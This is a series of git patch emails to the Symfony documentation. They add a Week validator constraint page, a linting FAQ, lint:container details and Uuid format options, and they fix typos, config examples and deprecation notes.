-:class:`Symfony\\Component\\HttpFoundation\\IpUtils` to do that::
+If you need to know if an IP address is included in a CIDR subnet, you can use
+the ``checkIp()`` method from :class:`Symfony\\Component\\HttpFoundation\\IpUtils`::
 
     use Symfony\Component\HttpFoundation\IpUtils;
 
@@ -373,7 +371,6 @@ use the ``checkIp`` method from the
     $isIpInCIDRv6 = IpUtils::checkIp($ipv6, $CIDRv6);
     // $isIpInCIDRv6 = true
 
-
 Accessing other Data
 ~~~~~~~~~~~~~~~~~~~~
 

From 2a81676897706453c9d7ee8f959cfaaaa94f5938 Mon Sep 17 00:00:00 2001
From: Hugo Alliaume <hugo@alliau.me>
Date: Sat, 18 May 2024 08:52:13 +0200
Subject: [PATCH 6276/7107] [AssetMapper] Add FAQ for code lint/format

---
 frontend/asset_mapper.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 185fca4f913..8fe46c020b6 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -799,6 +799,12 @@ files) with component, as those must be used in a build system. See the
 `UX Vue.js Documentation`_ for more details about using with the AssetMapper
 component.
 
+Can I lint and format my code?
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Yes! You can use `kocal/biome-js-bundle`_ to lint and format your front assets.
+It's ultra-fast and requires no configuration to handle your JavaScript, TypeScript, CSS, etc. files.
+
 .. _asset-mapper-ts:
 
 Using TypeScript
@@ -1170,3 +1176,4 @@ command as part of your CI to be warned anytime a new vulnerability is found.
 .. _`package.json configuration file`: https://docs.npmjs.com/creating-a-package-json-file
 .. _Content Security Policy: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
 .. _NelmioSecurityBundle: https://symfony.com/bundles/NelmioSecurityBundle/current/index.html#nonce-for-inline-script-handling
+.. _kocal/biome-js-bundle: https://github.com/Kocal/BiomeJsBundle

From 601f578a4d438c1bb746b9c991f571f4ed83758b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Aug 2024 10:13:16 +0200
Subject: [PATCH 6277/7107] Minor reword

---
 frontend/asset_mapper.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 8fe46c020b6..9c9878a54cd 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -799,11 +799,12 @@ files) with component, as those must be used in a build system. See the
 `UX Vue.js Documentation`_ for more details about using with the AssetMapper
 component.
 
-Can I lint and format my code?
+Can I Lint and Format My Code?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Yes! You can use `kocal/biome-js-bundle`_ to lint and format your front assets.
-It's ultra-fast and requires no configuration to handle your JavaScript, TypeScript, CSS, etc. files.
+Not with AssetMapper, but you can install `kocal/biome-js-bundle`_ in your project
+to lint and format your front-end assets. It's much faster than alternatives like
+Prettier and requires no configuration to handle your JavaScript, TypeScript and CSS files.
 
 .. _asset-mapper-ts:
 

From f206ee76de524531dfe2e62c375bfd51b87ec48e Mon Sep 17 00:00:00 2001
From: Baptiste Lafontaine <magnetik@users.noreply.github.com>
Date: Thu, 8 Aug 2024 12:03:56 +0200
Subject: [PATCH 6278/7107] minor : the process method from
 CompilerPassInterface should be public

Since the method is defined in CompilerPassInterface as public, it should be defined as public in the Kernel.
---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index c00ea9de8c8..281f8c45ad8 100644
--- a/testing.rst
+++ b/testing.rst
@@ -651,7 +651,7 @@ to remove the ``kernel.reset`` tag from some services in your test environment::
 
         // ...
 
-        protected function process(ContainerBuilder $container): void
+        public function process(ContainerBuilder $container): void
         {
             if ('test' === $this->environment) {
                 // prevents the security token to be cleared

From ce138921bd92a98340ed20ba16b6ebe0520d3ef4 Mon Sep 17 00:00:00 2001
From: Philippe Chabbert <chab.philippe@gmail.com>
Date: Thu, 8 Aug 2024 11:42:42 +0200
Subject: [PATCH 6279/7107] doc: add missing use statements

---
 configuration/multiple_kernels.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index 4cef8b0d09e..512ea57f24d 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -117,7 +117,9 @@ resources::
     // src/Kernel.php
     namespace Shared;
 
+    use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
     use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
+    use Symfony\Component\HttpKernel\Kernel as BaseKernel;
     use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
 
     class Kernel extends BaseKernel
@@ -258,6 +260,7 @@ the application ID to run under CLI context::
 
     // bin/console
     use Shared\Kernel;
+    use Symfony\Bundle\FrameworkBundle\Console\Application;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Input\InputOption;
 

From ed5124230a9e8bdacad8c9ab7459f0e2785e281a Mon Sep 17 00:00:00 2001
From: n-valverde <64469669+n-valverde@users.noreply.github.com>
Date: Sat, 17 Feb 2024 10:52:22 +0100
Subject: [PATCH 6280/7107] Update service_container.rst

---
 service_container.rst | 23 ++++++++++++++---------
 1 file changed, 14 insertions(+), 9 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index 569f549990b..1afc59189ed 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1035,20 +1035,25 @@ to them.
 Linting Service Definitions
 ---------------------------
 
-The ``lint:container`` command checks that the arguments injected into services
-match their type declarations. It's useful to run it before deploying your
-application to production (e.g. in your continuous integration server):
+The ``lint:container`` command performs some additional checks to make sure
+the container is properly configured:
+* ensures the arguments injected into services match their type declarations.
+* ensures the interfaces configured as alias are resolving to a compatible
+service.
+It's useful to run it before deploying your application to production
+(e.g. in your continuous integration server):
 
 .. code-block:: terminal
 
     $ php bin/console lint:container
 
-Checking the types of all service arguments whenever the container is compiled
-can hurt performance. That's why this type checking is implemented in a
-:doc:`compiler pass </service_container/compiler_passes>` called
-``CheckTypeDeclarationsPass`` which is disabled by default and enabled only when
-executing the ``lint:container`` command. If you don't mind the performance
-loss, enable the compiler pass in your application.
+Doing those checks whenever the container is compiled
+can hurt performance. That's why this is implemented in
+:doc:`compiler passes </service_container/compiler_passes>` called
+``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass`` which are disabled
+by default and enabled only when executing the ``lint:container`` command.
+If you don't mind the performance loss, enable these compiler passes in
+your application.
 
 .. _container-public:
 

From e2a15ae1c200ad097f9fb246c0eda5ade815304d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 9 Aug 2024 16:39:28 +0200
Subject: [PATCH 6281/7107] Minor tweaks

---
 service_container.rst | 25 ++++++++++++-------------
 1 file changed, 12 insertions(+), 13 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index aa7868cfdd7..b5d3f8c5b99 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -1035,26 +1035,25 @@ to them.
 Linting Service Definitions
 ---------------------------
 
-The ``lint:container`` command performs some additional checks to make sure
-the container is properly configured:
-* ensures the arguments injected into services match their type declarations.
-* ensures the interfaces configured as alias are resolving to a compatible
-service.
-It's useful to run it before deploying your application to production
-(e.g. in your continuous integration server):
+The ``lint:container`` command performs additional checks to ensure the container
+is properly configured. It is useful to run this command before deploying your
+application to production (e.g. in your continuous integration server):
 
 .. code-block:: terminal
 
     $ php bin/console lint:container
 
-Doing those checks whenever the container is compiled
-can hurt performance. That's why this is implemented in
-:doc:`compiler passes </service_container/compiler_passes>` called
-``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass`` which are disabled
-by default and enabled only when executing the ``lint:container`` command.
-If you don't mind the performance loss, enable these compiler passes in
+Performing those checks whenever the container is compiled can hurt performance.
+That's why they are implemented in :doc:`compiler passes </service_container/compiler_passes>`
+called ``CheckTypeDeclarationsPass`` and ``CheckAliasValidityPass``, which are
+disabled by default and enabled only when executing the ``lint:container`` command.
+If you don't mind the performance loss, you can enable these compiler passes in
 your application.
 
+.. versionadded:: 7.1
+
+    The ``CheckAliasValidityPass`` compiler pass was introduced in Symfony 7.1.
+
 .. _container-public:
 
 Public Versus Private Services

From d2fb31ff1f42bf2eaa95e35c5fa5cf355361b341 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Sat, 10 Aug 2024 17:44:18 +0200
Subject: [PATCH 6282/7107] templates: check that a Twig extension does not
 already exist

---
 templates.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/templates.rst b/templates.rst
index 33815a2b21a..9fefc066fe0 100644
--- a/templates.rst
+++ b/templates.rst
@@ -1430,7 +1430,7 @@ Writing a Twig Extension
 
 `Twig Extensions`_ allow the creation of custom functions, filters, and more to use
 in your Twig templates. Before writing your own Twig extension, check if
-the filter/function that you need is already implemented in:
+the filter/function that you need is not already implemented in:
 
 * The `default Twig filters and functions`_;
 * The :doc:`Twig filters and functions added by Symfony </reference/twig_reference>`;

From 27a4f50cdae7f837bc9879d6062d31e47fc7443d Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Mon, 12 Aug 2024 11:57:57 +0200
Subject: [PATCH 6283/7107] Update custom_authenticator.rst

---
 security/custom_authenticator.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 2259f9f0e08..cc8051f286e 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -37,12 +37,12 @@ method that fits most use-cases::
          */
         public function supports(Request $request): ?bool
         {
-            return $request->headers->has('X-AUTH-TOKEN');
+            return $request->headers->has('auth-token');
         }
 
         public function authenticate(Request $request): Passport
         {
-            $apiToken = $request->headers->get('X-AUTH-TOKEN');
+            $apiToken = $request->headers->get('auth-token');
             if (null === $apiToken) {
                 // The token header was empty, authentication fails with HTTP Status
                 // Code 401 "Unauthorized"

From 4b3bb15f307c8da98fb8ed57b34d9ea221ab0d69 Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Mon, 12 Aug 2024 17:57:25 +0200
Subject: [PATCH 6284/7107] Add links for the better nav in the format
 specification refs

---
 reference/formats/expression_language.rst | 2 +-
 reference/formats/message_format.rst      | 2 +-
 reference/formats/yaml.rst                | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
index 6ab87e53a40..6d40683bfef 100644
--- a/reference/formats/expression_language.rst
+++ b/reference/formats/expression_language.rst
@@ -1,7 +1,7 @@
 The Expression Syntax
 =====================
 
-The ExpressionLanguage component uses a specific syntax which is based on the
+The :doc:`ExpressionLanguage component </components/expression_language>` uses a specific syntax which is based on the
 expression syntax of Twig. In this document, you can find all supported
 syntaxes.
 
diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 5ebd5def049..af888b90c40 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -3,7 +3,7 @@ How to Translate Messages using the ICU MessageFormat
 
 Messages (i.e. strings) in applications are almost never completely static.
 They contain variables or other complex logic like pluralization. To
-handle this, the Translator component supports the `ICU MessageFormat`_ syntax.
+handle this, the :doc:`Translator component </translation>` supports the `ICU MessageFormat`_ syntax.
 
 .. tip::
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 3c4bd104465..9c6b165a0c4 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -1,7 +1,7 @@
 The YAML Format
 ---------------
 
-The Symfony Yaml Component implements a selected subset of features defined in
+The Symfony :doc:`Yaml Component </components/yaml>` implements a selected subset of features defined in
 the `YAML 1.2 version specification`_.
 
 Scalars

From a2281d22413dc10f1f7ad3c1a17063a65250d956 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Gr=C3=A9goire=20Pineau?= <lyrixx@lyrixx.info>
Date: Tue, 13 Aug 2024 17:03:35 +0200
Subject: [PATCH 6285/7107] [Workflow] Do to talk about workflow, and explain
 what support option is for

---
 components/workflow.rst                 | 18 ---------------
 workflow/workflow-and-state-machine.rst | 30 +++----------------------
 2 files changed, 3 insertions(+), 45 deletions(-)

diff --git a/components/workflow.rst b/components/workflow.rst
index 8ca201b0859..2e5e1eb0aa6 100644
--- a/components/workflow.rst
+++ b/components/workflow.rst
@@ -55,23 +55,6 @@ The ``Workflow`` can now help you to decide what *transitions* (actions) are all
 on a blog post depending on what *place* (state) it is in. This will keep your domain
 logic in one place and not spread all over your application.
 
-When you define multiple workflows you should consider using a ``Registry``,
-which is an object that stores and provides access to different workflows.
-A registry will also help you to decide if a workflow supports the object you
-are trying to use it with::
-
-    use Acme\Entity\BlogPost;
-    use Acme\Entity\Newsletter;
-    use Symfony\Component\Workflow\Registry;
-    use Symfony\Component\Workflow\SupportStrategy\InstanceOfSupportStrategy;
-
-    $blogPostWorkflow = ...;
-    $newsletterWorkflow = ...;
-
-    $registry = new Registry();
-    $registry->addWorkflow($blogPostWorkflow, new InstanceOfSupportStrategy(BlogPost::class));
-    $registry->addWorkflow($newsletterWorkflow, new InstanceOfSupportStrategy(Newsletter::class));
-
 Usage
 -----
 
@@ -100,7 +83,6 @@ method to initialize the object property::
 
     // ...
     $blogPost = new BlogPost();
-    $workflow = $registry->get($blogPost);
 
     // initiate workflow
     $workflow->getMarking($blogPost);
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 7d50cf0ac15..1d2ba6fcfc7 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -81,6 +81,7 @@ Below is the configuration for the pull request state machine.
                     marking_store:
                          type: 'method'
                          property: 'currentPlace'
+                    # The supports options is useful only if you are using twig functions ('workflow_*')
                     supports:
                         - App\Entity\PullRequest
                     initial_marking: start
@@ -132,6 +133,7 @@ Below is the configuration for the pull request state machine.
                         <framework:property>currentPlace</framework:property>
                     </framework:marking-store>
 
+                    <!-- The supports options is useful only if you are using twig functions ('workflow_*') -->
                     <framework:support>App\Entity\PullRequest</framework:support>
 
                     <framework:initial_marking>start</framework:initial_marking>
@@ -202,6 +204,7 @@ Below is the configuration for the pull request state machine.
 
             $pullRequest
                 ->type('state_machine')
+                // The supports options is useful only if you are using twig functions ('workflow_*')
                 ->supports(['App\Entity\PullRequest'])
                 ->initialMarking(['start']);
 
@@ -252,33 +255,6 @@ Below is the configuration for the pull request state machine.
                     ->to(['review']);
         };
 
-In a Symfony application using the
-:ref:`default services.yaml configuration <service-container-services-load-example>`,
-you can get this state machine by injecting the Workflow registry service::
-
-    // ...
-    use App\Entity\PullRequest;
-    use Symfony\Component\Workflow\Registry;
-
-    class SomeService
-    {
-        private $workflows;
-
-        public function __construct(Registry $workflows)
-        {
-            $this->workflows = $workflows;
-        }
-
-        public function someMethod(PullRequest $pullRequest)
-        {
-            $stateMachine = $this->workflows->get($pullRequest, 'pull_request');
-            $stateMachine->apply($pullRequest, 'wait_for_review');
-            // ...
-        }
-
-        // ...
-    }
-
 Symfony automatically creates a service for each workflow (:class:`Symfony\\Component\\Workflow\\Workflow`)
 or state machine (:class:`Symfony\\Component\\Workflow\\StateMachine`) you
 have defined in your configuration. This means that you can use ``workflow.pull_request``

From a1ece0dfce5beca535aba281b20354d3cf1a5010 Mon Sep 17 00:00:00 2001
From: lkolndeep <lkolndeep@protonmail.com>
Date: Tue, 13 Aug 2024 18:56:17 +0200
Subject: [PATCH 6286/7107] Correction of a typo for a reference link

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index adbe8359743..f0cba6f6eb1 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -717,7 +717,7 @@ If you use the Redis Transport, note that each worker needs a unique consumer
 name to avoid the same message being handled by multiple workers. One way to
 achieve this is to set an environment variable in the Supervisor configuration
 file, which you can then refer to in ``messenger.yaml``
-(see the ref:`Redis section <messenger-redis-transport>` below):
+(see the :ref:`Redis section <messenger-redis-transport>` below):
 
 .. code-block:: ini
 

From 323391d8876b561f1fa12d12c86c59cf75512c89 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 13 Aug 2024 10:21:05 +0200
Subject: [PATCH 6287/7107] [Validator] Add `Week` constraint

---
 reference/constraints/Week.rst    | 172 ++++++++++++++++++++++++++++++
 reference/constraints/map.rst.inc |   1 +
 2 files changed, 173 insertions(+)
 create mode 100644 reference/constraints/Week.rst

diff --git a/reference/constraints/Week.rst b/reference/constraints/Week.rst
new file mode 100644
index 00000000000..0aea71bee02
--- /dev/null
+++ b/reference/constraints/Week.rst
@@ -0,0 +1,172 @@
+Week
+====
+
+.. versionadded:: 7.2
+
+    The ``Week`` constraint was introduced in Symfony 7.2.
+
+Validates that a string (or an object implementing the ``Stringable`` PHP interface)
+matches a given week number. The week number format is defined by `ISO-8601`_
+and should be composed of the year and the week number, separated by a hyphen
+(e.g. ``2022-W01``).
+
+==========  =======================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\Week`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\WeekValidator`
+==========  =======================================================================
+
+Basic Usage
+-----------
+
+If you wanted to ensure that the ``startWeek`` property of an ``OnlineCourse``
+class is between the first and the twentieth week of the year 2022, you could do
+the following:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/OnlineCourse.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class OnlineCourse
+        {
+            #[Assert\Week(min: '2022-W01', max: '2022-W20')]
+            protected string $startWeek;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\OnlineCourse:
+            properties:
+                startWeek:
+                    - Week:
+                        min: '2022-W01'
+                        max: '2022-W20'
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\OnlineCourse">
+                <property name="startWeek">
+                    <constraint name="Week">
+                        <option name="min">2022-W01</option>
+                        <option name="max">2022-W20</option>
+                    </constraint>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/OnlineCourse.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class OnlineCourse
+        {
+            // ...
+
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
+            {
+                $metadata->addPropertyConstraint('startWeek', new Assert\Week([
+                    'min' => '2022-W01',
+                    'max' => '2022-W20',
+                ]));
+            }
+        }
+
+.. note::
+
+    The constraint also checks that the given week exists in the calendar. For example,
+    ``2022-W53`` is not a valid week number for 2022, because 2022 only had 52 weeks.
+
+Options
+-------
+
+``min``
+~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+The minimum week number that the value must match.
+
+``max``
+~~~~~~~
+
+**type**: ``string`` **default**: ``null``
+
+The maximum week number that the value must match.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+``invalidFormatMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``This value does not represent a valid week in the ISO 8601 format.``
+
+This is the message that will be shown if the value does not match the ISO 8601
+week format.
+
+``invalidWeekNumberMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The week "{{ value }}" is not a valid week.``
+
+This is the message that will be shown if the value does not match a valid week
+number.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ value }}``   The value that was passed to the constraint
+================  ==================================================
+
+``tooLowMessage``
+~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The value should not be before week "{{ min }}".``
+
+This is the message that will be shown if the value is lower than the minimum
+week number.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ min }}``     The minimum week number
+================  ==================================================
+
+``tooHighMessage``
+~~~~~~~~~~~~~~~~~~
+
+**type**: ``string`` **default**: ``The value should not be after week "{{ max }}".``
+
+This is the message that will be shown if the value is higher than the maximum
+week number.
+
+You can use the following parameters in this message:
+
+================  ==================================================
+Parameter         Description
+================  ==================================================
+``{{ max }}``     The maximum week number
+================  ==================================================
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _ISO-8601: https://en.wikipedia.org/wiki/ISO_8601
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 978951c9de7..e0dbd6c4512 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -64,6 +64,7 @@ Date Constraints
 * :doc:`DateTime </reference/constraints/DateTime>`
 * :doc:`Time </reference/constraints/Time>`
 * :doc:`Timezone </reference/constraints/Timezone>`
+* :doc:`Week </reference/constraints/Week>`
 
 Choice Constraints
 ~~~~~~~~~~~~~~~~~~

From 7a36ad35c3738f1da1b6e7fa7ea8062b23b5f7a9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Fri, 16 Aug 2024 09:19:35 +0200
Subject: [PATCH 6288/7107] fix XML config example

---
 workflow/workflow-and-state-machine.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 7d50cf0ac15..2f4425b935e 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -127,14 +127,11 @@ Below is the configuration for the pull request state machine.
 
             <framework:config>
                 <framework:workflow name="pull_request" type="state_machine">
-                    <framework:marking-store>
-                        <framework:type>method</framework:type>
-                        <framework:property>currentPlace</framework:property>
-                    </framework:marking-store>
+                    <framework:initial-marking>start</framework:initial-marking>
 
-                    <framework:support>App\Entity\PullRequest</framework:support>
+                    <framework:marking-store type="method" property="currentPlace"/>
 
-                    <framework:initial_marking>start</framework:initial_marking>
+                    <framework:support>App\Entity\PullRequest</framework:support>
 
                     <framework:place>start</framework:place>
                     <framework:place>coding</framework:place>

From 768ef5a217a6084cc4b2a017426d6335964ec047 Mon Sep 17 00:00:00 2001
From: matlec <mathieu.lechat@sensiolabs.com>
Date: Fri, 16 Aug 2024 12:12:34 +0200
Subject: [PATCH 6289/7107] [Security] Remove note about stateless firewalls
 marking routes as stateless

---
 reference/configuration/security.rst | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 154ef86f21f..d84d7a5d5b7 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -1075,13 +1075,6 @@ the session must not be used when authenticating users:
             // ...
         };
 
-Routes under this firewall will be :ref:`configured stateless <stateless-routing>`
-when they are not explicitly configured stateless or not.
-
-.. versionadded:: 6.3
-
-    Stateless firewall marking routes stateless was introduced in Symfony 6.3.
-
 User Checkers
 ~~~~~~~~~~~~~
 

From be7999ef3be6b79de03cd9bf18832f288933168d Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Wed, 14 Aug 2024 23:12:46 +0200
Subject: [PATCH 6290/7107] Add the missing note on how to inject a service
 into the controller

---
 controller.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 7866a97818b..3194b6e46e4 100644
--- a/controller.rst
+++ b/controller.rst
@@ -178,7 +178,8 @@ These are used for rendering templates, sending emails, querying the database an
 any other "work" you can think of.
 
 If you need a service in a controller, type-hint an argument with its class
-(or interface) name. Symfony will automatically pass you the service you need::
+(or interface) name. Symfony will automatically pass you the service you need.
+Make sure your :doc:`controller is registered as a service </controller/service>`::
 
     use Psr\Log\LoggerInterface;
     use Symfony\Component\HttpFoundation\Response;

From 895248e876f29caa3b36191be4b6c1e0e907773d Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Sat, 17 Aug 2024 17:31:32 +0200
Subject: [PATCH 6291/7107] fix comment

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index adbe8359743..38450ccb6b9 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2283,8 +2283,8 @@ to your message::
 
     public function index(MessageBusInterface $bus)
     {
+        // wait 5 seconds before processing
         $bus->dispatch(new SmsNotification('...'), [
-            // wait 5 seconds before processing
             new DelayStamp(5000),
         ]);
 

From 8d5b1d357df87484858a2902baf6cd0d2e8b59dd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 19 Aug 2024 10:48:33 +0200
Subject: [PATCH 6292/7107] [Uid] Add support for binary, base-32 and base-58
 representations in `Uuid::isValid()`

---
 components/uid.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/uid.rst b/components/uid.rst
index 7195d393ed3..feb58968347 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -314,6 +314,30 @@ UUID objects created with the ``Uuid`` class can use the following methods
     //   * int < 0 if $uuid1 is less than $uuid4
     $uuid1->compare($uuid4); // e.g. int(4)
 
+If you're working with different UUIDs format and want to validate them,
+you can use the ``$format`` parameter of the :method:`Symfony\\Component\\Uid\\Uuid::isValid`
+method to specify the UUID format you're expecting::
+
+    use Symfony\Component\Uid\Uuid;
+
+    $isValid = Uuid::isValid('90067ce4-f083-47d2-a0f4-c47359de0f97', Uuid::FORMAT_RFC_4122); // accept only RFC 4122 UUIDs
+    $isValid = Uuid::isValid('3aJ7CNpDMfXPZrCsn4Cgey', Uuid::FORMAT_BASE_32 | Uuid::FORMAT_BASE_58); // accept multiple formats
+
+The following constants are available:
+
+* ``Uuid::FORMAT_BINARY``
+* ``Uuid::FORMAT_BASE_32``
+* ``Uuid::FORMAT_BASE_58``
+* ``Uuid::FORMAT_RFC_4122``
+
+You can also use the ``Uuid::FORMAT_ALL`` constant to accept any UUID format.
+By default, only the RFC 4122 format is accepted.
+
+.. versionadded:: 7.2
+
+    The ``$format`` parameter of the :method:`Symfony\\Component\\Uid\\Uuid::isValid`
+    method and the related constants were introduced in Symfony 7.2.
+
 Storing UUIDs in Databases
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 3567f5b79a01bd878143a3016bc224559f5c4ec4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 19 Aug 2024 10:58:42 +0200
Subject: [PATCH 6293/7107] [Serializer] Deprecate passing a non-empty CSV
 escape char

---
 components/serializer.rst | 38 ++++++++++++++++++++++++--------------
 1 file changed, 24 insertions(+), 14 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 09efbf44e6c..61124e3f030 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1064,30 +1064,35 @@ which defines the configuration options for the CsvEncoder an associative array:
 
 These are the options available:
 
-======================= =====================================================  ==========================
-Option                  Description                                            Default
-======================= =====================================================  ==========================
-``csv_delimiter``       Sets the field delimiter separating values (one        ``,``
+======================= ============================================================= ==========================
+Option                  Description                                                   Default
+======================= ============================================================= ==========================
+``csv_delimiter``       Sets the field delimiter separating values (one               ``,``
                         character only)
-``csv_enclosure``       Sets the field enclosure (one character only)          ``"``
-``csv_end_of_line``     Sets the character(s) used to mark the end of each     ``\n``
+``csv_enclosure``       Sets the field enclosure (one character only)                 ``"``
+``csv_end_of_line``     Sets the character(s) used to mark the end of each            ``\n``
                         line in the CSV file
-``csv_escape_char``     Sets the escape character (at most one character)      empty string
-``csv_key_separator``   Sets the separator for array's keys during its         ``.``
+``csv_escape_char``     Deprecated. Sets the escape character (at most one character) empty string
+``csv_key_separator``   Sets the separator for array's keys during its                ``.``
                         flattening
 ``csv_headers``         Sets the order of the header and data columns
                         E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
                         and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
                         then ``serialize($data, 'csv', $options)`` returns
-                        ``a,b,c\n1,2,3``                                       ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containing formulas by prepending them  ``false``
+                        ``a,b,c\n1,2,3``                                              ``[]``, inferred from input data's keys
+``csv_escape_formulas`` Escapes fields containing formulas by prepending them         ``false``
                         with a ``\t`` character
-``as_collection``       Always returns results as a collection, even if only   ``true``
+``as_collection``       Always returns results as a collection, even if only          ``true``
                         one line is decoded.
-``no_headers``          Setting to ``false`` will use first row as headers.    ``false``
+``no_headers``          Setting to ``false`` will use first row as headers.           ``false``
                         ``true`` generate numeric headers.
-``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data   ``false``
-======================= =====================================================  ==========================
+``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data          ``false``
+======================= ============================================================= ==========================
+
+.. deprecated:: 7.2
+
+    The ``csv_escape_char`` option and the ``CsvEncoder::ESCAPE_CHAR_KEY``
+    constant were deprecated in Symfony 7.2.
 
 The ``XmlEncoder``
